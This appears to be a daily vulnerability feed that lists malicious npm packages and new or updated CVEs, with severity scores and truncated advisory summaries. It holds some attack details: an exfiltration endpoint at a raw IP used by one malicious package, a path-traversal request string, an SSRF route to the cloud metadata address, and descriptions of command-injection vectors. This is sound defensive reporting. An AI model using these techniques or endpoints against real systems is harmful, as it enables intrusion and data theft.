MAL-2026-16462	New					npm:godzz	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (3b5d71d42ffa8a11d58cf5bf2cf8eab5f95e14d047f0907b6e0581a3c33ea299) On module load, godzz sets process.env.NODE_TLS_REJECT_UNAUTHORIZED='0', disabling TLS certificate validation for the entire Node process. Its main entry attaches to a local Chromium CDP endpoint at 127.0.0.1:9222, inject...
MAL-2026-16463	New					npm:godzzz	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (39f05673527822a16dc88d65a9ff9471548f8046fc28c7930fd8958dbcc38f3a) The npm package godzzz@1.0.0 ships cdp_inject.js which imports http, https, child_process and fs at the top of the file, reads process.env (including process.env.USER), reads files from disk via fs.readFileSync/fs.exists...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
MAL-2026-16464	New					npm:hachutis	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (455f1d04545c9ed17722705fe61415d7e536e2800c2a3c588ab69985004c73b9) The tarball ships three undeclared prebuilt executables under bin/ (bin/cli, bin/cli-linux-amd64, and an 81 MB Bun-compiled bin/cli-http-linux) that are not exposed via package.json.bin. The manifest's only bin entry hat...
MAL-2026-16465	New					npm:helpersutils-dev-tools	--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (85b7208dea3cf1742ac01332c17db9df968fd4a105fbccaf0b5388162b0f3673) The package presents itself as 'Development utility helpers' but its main module executes an IIFE at require-time that issues an Image request to http://5.189.173.113:8899/csp-edu with document.domain appended as a query...

Significant updates today - original Published Date retained

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-78847	Updated - CVSS added	9.8	CRIT		0.002		An issue in gray-matter All versions (verified on 4.0.3) allows the JavaScript engine in lib/engines.js using eval() to parse front matter when language is js/javascript.This allows arbitrary code execution.
CVE-2026-88402	Updated - CVSS added	9.8	CRIT		0.002		A SQL injection vulnerability in the checkSQL function of nocobase v2.1.21 allows attackers to access sesntive database information via injecting crafted SQL statements.
CVE-2026-88404	Updated - CVSS added	9.8	CRIT		0.002		A remote code execution (RCE) vulnerability in the UniscriptExecutionService.execute() function (/services/script-execution.service.ts) of Univer v1.0.0-alpha.2 allows attackers to execute arbitrary code via a crafted payload.
CVE-2026-93012	Updated - CVSS added	9.8	CRIT		0.002		Email::Sender::Transport::Sendmail versions before 2.602 for Perl allow arbitrary command execution on Windows sending a message whose envelope address reaches the shell in _sendmail_pipe. On MSWin32 the envelope sender and every recipient go into a single command string, which open() passes to a shell. Every other platform gets the list form, which runs sendmail directly. ...
CVE-2026-94424	Updated - CVSS changed (8.8 → 9.3)	9.3	CRIT		0.001		A vulnerability has been found in Moore Threads MTT S80 Driver Package up to 340.150. Impacted is the function sub_140001000 in the library mtdispkm64.sys of the component IOCTL Handler. The manipulation leads to heap-based buffer overflow. An attack has to be approached locally. The vendor was contacted early about this disclosure but did not respond in any way.
CVE-2026-94425	Updated - CVSS changed (8.8 → 9.3)	9.3	CRIT		0.001		A vulnerability was found in Moore Threads MTT S80 Driver Package 340.150. The affected element is the function sub_140006F0C in the library mtdispkm64.sys of the component IOCTL Handler. The manipulation results in improper privilege management. Attacking locally is a requirement. The vendor was contacted early about this disclosure but did not respond in any way.
CVE-2026-88738	Updated - CVSS added	8.8	HIGH		0.002		Jazzware RT1000 Edge webUI v. 20.0.1 contains an unrestricted file upload vulnerability in the upgrade package upload functionality. An attacker with administrative privileges can upload a server-side executable file. The uploaded file is stored in a web-accessible executable location and can be accessed directly over HTTP without authentication, resulting in remote code exe...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-94497	Updated - CVSS changed (8.3 → 8.7)	8.7	HIGH		0.003		jshERP through 3.6 fails to validate object ownership in by-id info, update, and delete endpoints across multiple resource types. Authenticated users can read, modify, and delete other users' business objects by submitting direct object identifiers without authorization checks.
CVE-2026-94622	Updated - CVSS changed (7.5 → 8.7)	8.7	HIGH		0.004		vLLM versions through 0.29.0 contain a denial of service vulnerability in the NIXL connector's metadata handling for prefill/decode disaggregated deployments. Attackers can send requests with incomplete kv_transfer_params dictionary entries to trigger an uncaught KeyError in EngineCore scheduling, causing the decode engine to terminate and making all routed requests fail unt...
CVE-2026-94623	Updated - CVSS changed (7.5 → 8.7)	8.7	HIGH		0.004		vLLM through 0.29.0 contains a denial of service vulnerability in the NIXL connector's prefix caching implementation that fails to properly validate block counts across multi-prompt completion requests in prefill/decode disaggregated deployments. Attackers can trigger an assertion failure in NixlBaseConnectorWorker._apply_prefix_caching by submitting completion requests with...
CVE-2026-94624	Updated - CVSS changed (7.5 → 8.7)	8.7	HIGH		0.004		vLLM through 0.29.0 contains a denial of service vulnerability in P2P KV offloading when OffloadingConnector is configured with TieringOffloadingSpec and a peer-to-peer secondary tier. Attackers can supply arbitrary remote host and port values in kv_transfer_params to create unreachable peer sessions that retain ZeroMQ sockets until the context quota is exhausted, causing an...
CVE-2026-94627	Updated - CVSS changed (7.5 → 8.7)	8.7	HIGH		0.004		vLLM Mooncake connector through 0.29.0 fails to properly manage GPU KV cache block ownership when concurrent child requests share a single transfer ID in prefill/decode disaggregated deployments. Attackers can trigger GPU memory exhaustion by submitting completion requests with multiple prompts, causing orphaned KV cache blocks to accumulate until process restart and eventua...
CVE-2026-94146	Updated - CVSS changed (8.8 → 8.5)	8.5	HIGH		0.001		A vulnerability was found in BioStar BIOS Update Utility 1.9.7.3. This issue affects the function sub_110BC of the file BSMEM64_W10.sys of the component IOCTL Handler. The manipulation of the argument PhysicalAddress/Size results in write-what-where condition. Attacking locally is a requirement. The exploit has been made public and could be used. The vendor was contacted ear...
CVE-2026-94403	Updated - CVSS changed (8.8 → 8.5)	8.5	HIGH		0.001		A weakness has been identified in ColorFul iGameCenter 1.0.3.4. This impacts the function sub_140001AF0 in the library ene.sys of the component IOCTL Handler. This manipulation causes untrusted pointer dereference. The attack can only be executed locally. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about thi...
CVE-2026-79079	Updated - CVSS added	7.8	HIGH		0.002		An issue in CrossWire Xiphos <= 4.3.2 allows a local attacker to execute arbitrary code via the src/main/url.cc and src/gtk/menu_popup.c components
CVE-2026-79316	Updated - CVSS added	7.6	HIGH		0.002		An improper access control vulnerability exists in x-ui 0.3.2. Any authenticated panel user can modify the xray configuration template through the settings interface and trigger a panel restart, causing the xray management gRPC service, which is bound to loopback by default, to be regenerated and bound to non-loopback addresses. This expands the reachable surface of the mana...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-71543	Updated - Fix/version updated	7.5	HIGH		0.002	go:github.com/openbao/openbao	## Impact ### ACL Policies OpenBao supports "templated policies": Policies with placeholders that are replaced at evaluation time. This allows you to write a single policy which e.g. grants user "alice" access to all entries in a key value engine prefixed with `alice/` while granting "bob" access to `bob/`, "carol" access to `carol/`, etc. If the data used in the template...
CVE-2026-93710	Updated - CVSS added	7.5	HIGH		0.002		Dancer2 versions from 2.0.0 before 2.2.0 for Perl dispatch a route that a dying hook refused when the exception handler halts the response in compile_hooks. A hook that dies fires core.app.hook_exception, then calls cleanup unless the failing hook is the exception handler. A handler that halts does not stop that cleanup, which discards the request, response and session the ...
CVE-2026-93712	Updated - CVSS added	7.5	HIGH		0.002		Dancer2 versions from 2.1.0 before 2.2.0 for Perl serve files from outside public_dir via relative path segments in the File route handler. The handler joins the request path onto public_dir without collapsing relative segments, and checks only that the result is a readable regular file. A request for `../outside.txt` escapes public_dir, and percent-encoding the dots reach...
CVE-2026-61647	Updated - Fix/version updated	7.1	HIGH		0.003	npm:@roomi-fields/notebooklm-mcp	## Summary The `vault_batch` MCP tool (and the equivalent `POST /batch-to-vault` HTTP endpoint) accepted a caller-supplied `vault_dir` path that was passed directly to `path.resolve()` + `fs.mkdir()` with no containment check. A caller — or a prompt-injected LLM driving the MCP — could therefore create directories and write `.md` / `.json` answer files anywhere the server p...
CVE-2026-88746	Updated - CVSS added	7.1	HIGH		0.001		idccms V1.70 is vulnerable to Cross Site Scripting (XSS) in /admin/makeDiy_deal.php.
CVE-2026-94413	Updated - CVSS changed (6.5 → 7.1)	7.1	HIGH		0.003		jshERP through 3.6 fails to redact password hashes in the /user/info endpoint, allowing authenticated users to retrieve unsalted MD5 password digests for any user. Attackers can request arbitrary user information by supplying user IDs to obtain password hashes usable for offline cracking or direct authentication bypass.
CVE-2026-94533	Updated - CVSS changed (6.5 → 7.1)	7.1	HIGH		0.003		lamp-cloud through 5.10.0 contains an authorization bypass vulnerability in FileAnyoneController that allows authenticated users to download arbitrary attachments. Attackers can retrieve other users' stored files by supplying valid attachment identifiers to the /anyone/file/download and /anyone/file/download endpoints, as the application never validates file ownership against th...
CVE-2026-94534	Updated - CVSS vector changed	7.1	HIGH		0.003		lamp-cloud through 5.10.0 fails to validate user identity in PUT /anyone/baseInfo and PUT /anyone/avatar endpoints, allowing authenticated attackers to modify arbitrary user profiles. Attackers can supply target user IDs in request bodies to rewrite profile fields including nickname, ID card, sex, nation, education, work description, and avatar attachments of other users.
CVE-2026-94535	Updated - CVSS vector changed	7.1	HIGH		0.003		lamp-cloud through 5.10.0 contains an authorization bypass vulnerability in the deleteMyNotice endpoint that allows authenticated users to delete other users' notifications. Attackers can call the DELETE /anyone/extendNotice/deleteMyNotice endpoint with arbitrary notice IDs to permanently remove notifications belonging to other users without recipient validation.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-77582	Updated - Fix/version updated	6.9	MEDI		0.004	go:github.com/tinyauthapp/tinyauth	### Summary It's possible to enumerate users through a timing oracle. In other words: I can easily check if a username exists or not by observing the timing differences between logins. ### PoC Setup a tinyauth server with a local user. It can be over the network. Try to log in with the local user, using an incorrect password: there is a noticeable delay. You know that the ...
CVE-2026-88788	Updated - CVSS added	6.8	MEDI		0.002		The Text Styler WordPress plugin through 1.1.1 does not sanitise and escape user-supplied styling values before outputting them within a front-end style block, and does not verify that a user may edit the target post, allowing users with contributor-level access or above to store JavaScript that executes in the browser of anyone viewing the affected post, including administr...
CVE-2026-79318	Updated - CVSS added	6.5	MEDI		0.002		web2py 3.2.2-stable (commit a7330a2bf21219fa77860b6665de927dd4f98e6d) is vulnerable to Directory Traversal in read_file()/write_file() (applications/admin/controllers/webservices.py).
CVE-2026-88403	Updated - CVSS added	6.5	MEDI		0.002		A Server-Side Request Forgery (SSRF) in the serverRequest function of nocobase v2.1.21 allows authenticated attackers to scan internal resources via a crafted HTTP request.
CVE-2026-93711	Updated - CVSS added	6.5	MEDI		0.002		Dancer2 versions before 2.2.0 for Perl do not strip CR and LF from response header names in headers_to_array. The routine removes CR and LF from each header value but not from the name. A name carrying them therefore reaches the PSGI server intact. A server that does not validate keys writes it to the wire, so the bytes after the CRLF arrive as their own header line. The a...
CVE-2026-88745	Updated - CVSS added	6.1	MEDI		0.001		EMLOG-Pro 2.6.29 contains a XSS vulnerability that enables attackers to upload a malicious shell.
CVE-2026-36470	Updated - CVSS added	5.8	MEDI		0.001		CuteNews v.2.1.2 is vulnerable to Cross Site Scripting (XSS) in index.php. The value of the "Referer" header is copied into the response HTML unmodified/unescaped during POST messages to index.php.
CVE-2026-94491	Updated - CVSS changed (7.3 → 5.5)	5.5	MEDI		0.003		A weakness has been identified in Yonyou KSOA 9.0. This affects an unknown part of the file /cardcase/search_list.jsp. Executing a manipulation of the argument address can lead to sql injection. It is possible to launch the attack remotely. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure bu...
CVE-2026-79317	Updated - CVSS added	4.8	MEDI		0.002		A session invalidation flaw exists in x-ui 0.3.2. The full user object is stored in a client-side signed cookie, and authentication only checks that a user object can be retrieved from the cookie without re-validating against the database or any session version. When an administrator changes the username or password, previously issued session cookies are not revoked, so an a...
CVE-2026-94152	Updated - CVSS changed (4.3 → 2.1)	2.1	LOW		0.002		A security vulnerability has been detected in Omega Solution FBP Fulfillment by People 2025. This impacts an unknown function of the file /user/ of the component User Profile API. The manipulation of the argument ID leads to authorization bypass. Remote exploitation of the attack is possible. The exploit has been disclosed publicly and may be used. The vendor was contacted e...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-94489	Updated - CVSS changed (4.3 → 2.1)	2.1	LOW		0.004		A vulnerability was identified in OctoPrint 1.0.0. Affected by this vulnerability is the function <code>_validate</code> of the file <code>src/octoprint/server/api/files.py</code> of the component File Download API. Such manipulation of the argument <code>filename</code> leads to path traversal. The attack may be performed from remote. The exploit is publicly available and might be used. The vendor was contacted ...
CVE-2026-94492	Updated - CVSS changed (6.3 → 2.1)	2.1	LOW		0.002		A security vulnerability has been detected in Yonyou U8cloud 5.x. This vulnerability affects unknown code of the file <code>/u8cloud/openapi/so.saleorder.sendaudit</code> of the component OpenAPI. The manipulation of the argument <code>operator</code> leads to sql injection. The attack can be initiated remotely. The exploit has been disclosed publicly and may be used. The vendor was contacted early a...
CVE-2026-94490	Updated - CVSS changed (4.7 → 2.0)	2.0	LOW		0.021		A security flaw has been discovered in OctoPrint 1.0.0. Affected by this issue is the function <code>executeSystemCommand</code> of the file <code>src/octoprint/server/api/system.py</code> of the component Command API. Performing a manipulation of the argument <code>command</code> results in os command injection. It is possible to initiate the attack remotely. The exploit has been released to the public and may b...
CVE-2026-58269	Updated - Fix/version updated		HIGH		0.002	npm:@sync-in/server	**Affected component:** Sync-in Server v2.3.0, <code>POST /api/auth/token</code> (<code>auth.controller.ts:50-55</code>). **Required attacker capability:** Valid username and password for a 2FA-enabled account. ## Summary <code>POST /api/auth/token</code> authenticates with username and password only, then calls <code>getTokens()</code> , which returns unrestricted Bearer access and refresh JWTs without checking whe...
CVE-2026-58270	Updated - Fix/version updated		MODE		0.003	npm:@sync-in/server	**Affected component:** Sync-in Server v2.3.0, <code>POST /api/app/sync/operation/diff/:id</code> , vulnerable implementation of <code>pathFilters</code> in <code>backend/src/applications/sync/dtos/sync-operations.dto.ts</code> . ## Summary In the vulnerable version, the sync diff endpoint accepted a user-controlled regex pattern through <code>pathFilters</code> and compiled it into a <code>RegExp</code> without complexity valid...
CVE-2026-58271	Updated - Fix/version updated		MODE		0.002	npm:@sync-in/server	**Affected component:** Sync-in Server v2.3.0, <code>POST /api/app/sync/register</code> . **Required attacker capability:** Valid login and password for a TOTP-enabled account with desktop sync permission. ## Summary <code>POST /api/app/sync/register</code> accepts credentials and a TOTP code to register a desktop sync client. In the vulnerable version, on a failed TOTP attempt, <code>SyncClientsMan...</code>
CVE-2026-58272	Updated - Fix/version updated		MODE		0.003	npm:@sync-in/server	## Summary <code>validateUser()</code> in <code>backend/src/authentication/providers/mysql/auth-provider-mysql.service.ts</code> returns immediately when the supplied login/email does not match any account, without ever calling <code>comparePassword()</code> : <code>async validateUser(loginOrEmail: string, password: string, ip?: string, scope?: AUTH_SCOPE): Promise<UserModel> { let user: UserModel try ...</code>
CVE-2026-59168	Updated - Fix/version updated		MODE		0.001	go:github.com/tomwright/dasel/v3	## Summary <code>dasel</code> 's JSON and XML readers parse nested structures with unbounded recursion, one native stack frame per nesting level, with no depth guard. A small (sub-10 MB), deeply nested document drives the Go runtime past its goroutine stack limit and triggers a <code>'fatal error: stack overflow'</code> . This is **unrecoverable** : it is a runtime fatal error, not a <code>'panic'</code> , so a co...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-61612	Updated - Fix/version updated		MODE		0.002	npm:@aborruso/ckan-mcp-server	## Summary The SSRF guard `validateServerUrl` (added for CVE-2026-33060, extended for CVE-2026-53509) validates only the hostname string and never resolves DNS. Any caller-supplied `server_url` whose hostname resolves to an internal address passes the guard, so the server issues requests to loopback and cloud metadata (<code>169.254.169.254</code>). This is a third bypass of ...
CVE-2026-61681	Updated - Fix/version updated		MODE		0.002	go:hatchet-dev/hatchet	### Summary The SNS `UnsubscribeConfirmation` handler in `internal/integrations/ingestors/sns/sns.go` makes an unvalidated `http.Get()` call to `payload.UnsubscribeURL` without any URL restriction. Because `UnsubscribeURL` is intentionally excluded from the `BuildSignature()` signed field list, an attacker can replace this field in a legitimately AWS-signed message w...
CVE-2026-62182	Updated - Fix/version updated		HIGH		0.005	go:github.com/kubeedge/kubeedge	## Description KubeEdge ConfigUpdateJob processing was vulnerable to command injection on edge nodes. The `updateFields` values from a ConfigUpdateJob were concatenated into a command string and executed through a system shell. An authenticated user with sufficient permissions to create or update ConfigUpdateJob resources could include shell metacharacters in the supplied ...
CVE-2026-62369	Updated - Fix/version updated		HIGH		0.006	go:github.com/kubeedge/kubeedge	## Description KubeEdge `keadm` contains a path traversal vulnerability in the `DecompressTarGz` archive extraction function. Archive entry names were joined directly with the extraction destination without sufficient validation. A crafted tar.gz archive containing parent-directory components, Windows-style backslashes, absolute paths, or drive-prefixed paths could cause f...
CVE-2026-62370	Updated - Fix/version updated		MODE		0.005	go:github.com/kubeedge/kubeedge	## Summary KubeEdge CloudHub uses the viaduct packer to decode messages received from connected peers. The packer reads a 32-bit payload length from the message header and previously allocated a buffer of that size without enforcing an upper bound. An authenticated peer that can establish a viaduct connection to CloudHub can send a crafted message header containing an exce...
CVE-2026-62371	Updated - Fix/version updated		HIGH		0.005	go:github.com/kubeedge/kubeedge	## Impact The KubeEdge NodeUpgradeJob handler constructed the `keadm upgrade edge` command by concatenating the user-controlled `spec.version` and `spec.image` fields into a shell command. An authenticated user with permission to create or update `NodeUpgradeJob` resources through the v1alpha2 API could include shell metacharacters in either field. When the upgrade job was...
CVE-2026-62866	Updated - Fix/version updated		MODE		0.002	go:github.com/tomwright/dasel/v3	Same panic class as GHSA-m5j3-4634-c2vq and GHSA-m6xr-fvfg-5g64, sister site on the same function. Trigger is any selector ending in whitespace: `dasel query 'a '` panics at `selector/lexer/tokenize.go:60`. The whitespace-skip loop right above (lines 55-57) advances `p.i` to `p.srcLen` when the input is all-whitespace or whitespace-trailing. The very next line reads `p.src[...
CVE-2026-62987	Updated - Fix/version updated		MODE		0.002	go:github.com/fabiolb/fabio	Affected: github.com/fabiolb/fabio >= 1.6.6 through 1.7.1 and master HEAD (c75f8a6). Summary The v1.6.6 fix for CVE-2025-48865 sweeps the client `Connection` header against a hardcoded allowlist `protectHeaders` (proxy/http_headers.go:28-36) containing only the 7 X-Forwarded family headers. Fabio also injects three operator-configured server-side trust headers tha...

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-63116	Updated - Fix/version updated		HIGH		0.004	npm:@deepstream/server	## Summary The `RECORD_ACTION.PATCH_MULTI` action is not registered in the Valve permission system's `RULES_MAP` (`src/services/permission/valve/rules-map.ts`). When `ConfigPermission.canPerformAction()` is called for a PATCH_MULTI message, `getRulesForMessage()` returns `null` because the action is missing from the map. This triggers an unconditional allow (`callback(..., ...`
CVE-2026-63342	Updated - Fix/version updated		MODE		0.002	go:github.com/hatchet-dev/hatchet	### Summary The `GET /api/v1/stable/durable-tasks/{durable-task}` endpoint (`listDurableEventLog`) is missing tenant authorization validation, allowing any authenticated user to read durable task event logs from any tenant. ### Impact This CVE requires the attacker to successfully guess the target UUID. Any authenticated Hatchet user can read durable task event logs from ...
CVE-2026-69190	Updated - Fix/version updated		MODE		0.002	maven:org.graylog2:graylog2-server	### Impact A vulnerability was found in Graylog's API endpoint for updating saved searches and dashboards. A user with edit permissions on a dashboard or saved search could grant owner permissions to an arbitrary account, which could then be used to delete the respective saved search or dashboard or to remove the original owner's access. ### Patches This issue has been p...
CVE-2026-77560	Updated - Fix/version updated		HIGH		0.003	go:github.com/tinyauthapp/tinyauth	# tinyauth: forward-auth per-app ACL is matched case-sensitively against the (case-insensitive) hostname, letting an authenticated user reach apps they are not on the allowlist for ## GitHub Advisory Details (form fields — paste-ready) **Affected products** Field Value ----- ----- Ecosystem `Other (self-hosted)` Go Package name `github.com/steveil...
CVE-2026-77561	Updated - Fix/version updated		MODE		0.005	go:github.com/steveiliop56/tinyauth	### Summary Tinyauth's login rate-limit bookkeeping can enter a global lockdown mode when its in-memory login-attempt map reaches 256 distinct identifiers. Because unauthenticated `POST /api/user/login` requests for unknown usernames are recorded in this same map, a remote unauthenticated attacker can submit 257 unique bogus usernames and cause valid credentials for unrelat...
CVE-2026-84298	Updated - Fix/version updated		LOW		0.002	go:github.com/hatchet-dev/hatchet	## Summary The V1 `DurableTask` stream handler registers worker-supplied durable task external IDs in an in-memory callback routing map before verifying that the authenticated tenant owns the task. If the tenant-scoped ownership check fails, the handler logs the error and continues, but the map entry persists until the stream closes. Durable callback delivery resolves the ...
CVE-2026-88978	Updated - Fix/version updated		MODE		0.002	go:github.com/hatchet-dev/hatchet	# Cross-tenant disclosure risk on `DurableTask` bidi RPC This is a low-severity, low-risk cross-tenant data exposure vuln caused by blindly accepting a durable task id, in addition to a list of node and branch ids that identify records in that task's event log, and returning them to the caller via the `handleWorkerStatus` polling path. # Impact This advisory requires an a...
CVE-2026-94184	Updated - Severity changed				0.007		A stack-based buffer overflow flaw was found in fetchmail when built with NTLM support. A malicious or compromised mail server advertising NTLM authentication can send a crafted Type 2 challenge that causes fetchmail to write past a fixed stack buffer while building the NTLM authenticate response. This may lead to remote code execution depending on stack-frame layout, or to ...

Added to CISA KEV today

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-85102	Added to KEV			Yes	0.003	check point:multiple products	Check Point Security Gateway and Check Point Spark Firewall using Site to Site VPN or Remote Access VPN contain an improper certificate validation vulnerability which could allow an unauthenticated remote attacker to execute arbitrary code on the Gateway.

P1 new today

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-93616	New	9.8	CRIT	Yes		check point:multiple products	A directory traversal and file upload vulnerability allows an unauthenticated attacker to upload and execute arbitrary scripts on Check Point Management Server.
CVE-2026-93952	New	9.5	CRIT	Yes	0.004	arista:velocloud orchestrator	VeloCloud Orchestrator (VCO) on-prem has a security issue where this issue may allow a remote attacker to access privileged internal functionality and impact the VCO host. Successful exploitation may compromise the confidentiality, integrity, and availability of the orchestrator and data managed by the orchestrator. Hosted, including Dedicated, versions of VCO were impacted...
CVE-2026-94127	New	9.3	CRIT	Yes		f5:big-ip apm	When a BIG-IP APM access policy and an OAuth profile are configured on a virtual server, specific malicious traffic can lead to remote code execution (RCE). This vulnerability is only present when BIG-IP APM is configured as an OAuth Authorization Server. Deployments using APM strictly as an OAuth Client / Resource Server (without OAuth authorization server profiles configur...

P2 new today

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-73369	New	10.0	CRIT				Adobe Campaign Classic (ACC) is affected by an Improper Control of Generation of Code ('Code Injection') vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.
CVE-2026-75699	New	10.0	CRIT				Adobe Campaign Classic (ACC) is affected by an Improper Control of Generation of Code ('Code Injection') vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.
CVE-2026-75703	New	10.0	CRIT				Adobe Campaign Classic (ACC) is affected by an Improper Control of Generation of Code ('Code Injection') vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.
CVE-2026-75721	New	10.0	CRIT				Adobe Campaign Classic (ACC) is affected by an Improper Control of Generation of Code ('Code Injection') vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-75723	New	10.0	CRIT				Adobe Campaign Classic (ACC) is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.
CVE-2026-75745	New	10.0	CRIT				Adobe Experience Manager Forms JEE is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.
CVE-2026-77244	New	10.0	CRIT			pip:mcp-atlassian	MCP Atlassian is a Model Context Protocol (MCP) server for Atlassian products (Confluence and Jira). Prior to 0.22.0, the HTTP transport accepts requests without a verified user identity and downstream fetcher construction falls back to the operator's globally configured Jira or Confluence credentials. A network client that can reach the MCP endpoint can invoke Atlassian too...
CVE-2026-7866	New	10.0	CRIT				Stack-based Buffer Overflow vulnerability in RTI Connex Professional (Core Libraries) allows Overflow Buffers. This issue affects Connex Professional: from 7.4.0 before 7.7.0.1, from 7.0.0 before 7.3.1.6, from 6.1.0 before 6.1.*, from 6.0.0 before 6.0.*, from 5.3.0 before 5.3.*, from 5.2.0 before 5.2.*, from 4.3x before 5.1.*.
CVE-2026-80155	New	10.0	CRIT				Lantronix SLC8000 before firmware v9.7.0.5, EMG8500/EMG7500 before firmware v9.7.0.1, and all firmware versions of SLB882/SLCx-03/SLCx-02 contain an authentication bypass vulnerability in the web management portal upload endpoint that allows unauthenticated attackers to read sensitive configuration files and upload files to arbitrary filesystem locations, leading to remote c...
CVE-2026-84412	New	10.0	CRIT				Adobe Campaign Classic (ACC) is affected by an Improper Control of Generation of Code ('Code Injection') vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.
CVE-2026-89275	New	10.0	CRIT				Adobe Campaign Classic (ACC) is affected by an Improper Control of Generation of Code ('Code Injection') vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.
CVE-2026-96257	New	10.0	CRIT				A flaw has been found in Fast FAC1203R Gigabit Edition 2.0.4. Affected by this issue is the function copy_msg_element of the component Device Discovery Service. Executing a manipulation can lead to stack-based buffer overflow. The attack can be executed remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not ...
CVE-2026-16346	New	9.9	CRIT				IBM DataStage on Cloud Pak for Data 5.4.0.0 could allow a remote authenticated attacker to execute arbitrary commands due to improper neutralization of special elements used in an OS command.
CVE-2026-18169	New	9.9	CRIT				IBM Financial Transaction Manager (FTM) for RedHat OpenShift could allow a remote authenticated attacker to obtain sensitive information due to improper validation of symbolic links.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2026-57149	New	9.9	CRIT				plone.app.portlets.portlets provides a Plone-specific user interface for plone.portlets, as well as a standard set of portlets that ship with Plone. Starting in version 5.0.0 and prior to versions 5.0.8, 6.0.4, and 7.0.2, the Classic portlet (plone.app.portlets.portlets.classic) used its user-supplied template/macro fields to build a TALES path expression that was then evalu...
CVE-2026-75682	New	9.9	CRIT				Adobe Connect is affected by an Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to execute arbitrary SQL commands, potentially gaining elevated access or control over the victim's accou...
CVE-2026-80144	New	9.9	CRIT				Lantronix SLC8000 before firmware v9.7.0.2, EMG8500/EMG7500 before firmware v9.7.0.1, and all firmware versions of SLB882/SLCx-03/SLCx-02 contain a command injection vulnerability that allows authenticated attackers to execute arbitrary shell commands as root by exploiting an undocumented mfc eeprom write command that passes unsanitized user input to a system() call. Attacke...
CVE-2026-80146	New	9.9	CRIT				Lantronix SLC8000 before firmware v9.7.0.2, EMG8500/EMG7500 before firmware v9.7.0.1, and all firmware versions of SLB882/SLCx-03/SLCx-02 contain a stack-based buffer overflow vulnerability that allows authenticated attackers to potentially execute arbitrary code by exploiting an undocumented mfc eeprom read command that copies unbounded user input into a bounded stack buffe...
CVE-2026-82008	New	9.9	CRIT				Adobe Campaign Classic (ACC) is affected by an Improper Input Validation vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.
CVE-2026-82010	New	9.9	CRIT				Adobe Campaign Classic (ACC) is affected by an Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. S...
CVE-2026-82013	New	9.9	CRIT				Adobe Campaign Classic (ACC) is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation. A low-privileged attacker could exploit this vulnerability to gain elevated access to internal resources. Exploitation of this issue does not require user interaction. Scope is changed.
CVE-2026-83660	New	9.9	CRIT				Adobe Campaign Classic (ACC) is affected by a Server-Side Request Forgery (SSRF) vulnerability that could result in privilege escalation. Exploitation of this issue does not require user interaction. Scope is changed.
CVE-2026-89276	New	9.9	CRIT				Adobe Campaign Classic (ACC) is affected by an Improper Control of Generation of Code ('Code Injection') vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.

ID	Reason	CVSS	Sev	KEV	EPSS	Vendor / Product / Package	Description
CVE-2016-15059	New	9.8	CRIT		0.002		Net::IDN::Punycode versions before 2.301 for Perl allow a heap buffer overflow via unchecked writes past the output buffer in encode_punycode. The XS backend builds the encoded label in the string buffer of the scalar it returns, sized from the input length. The loop that emits the digits of each code point checks for room before every write, but the write of the last digit...
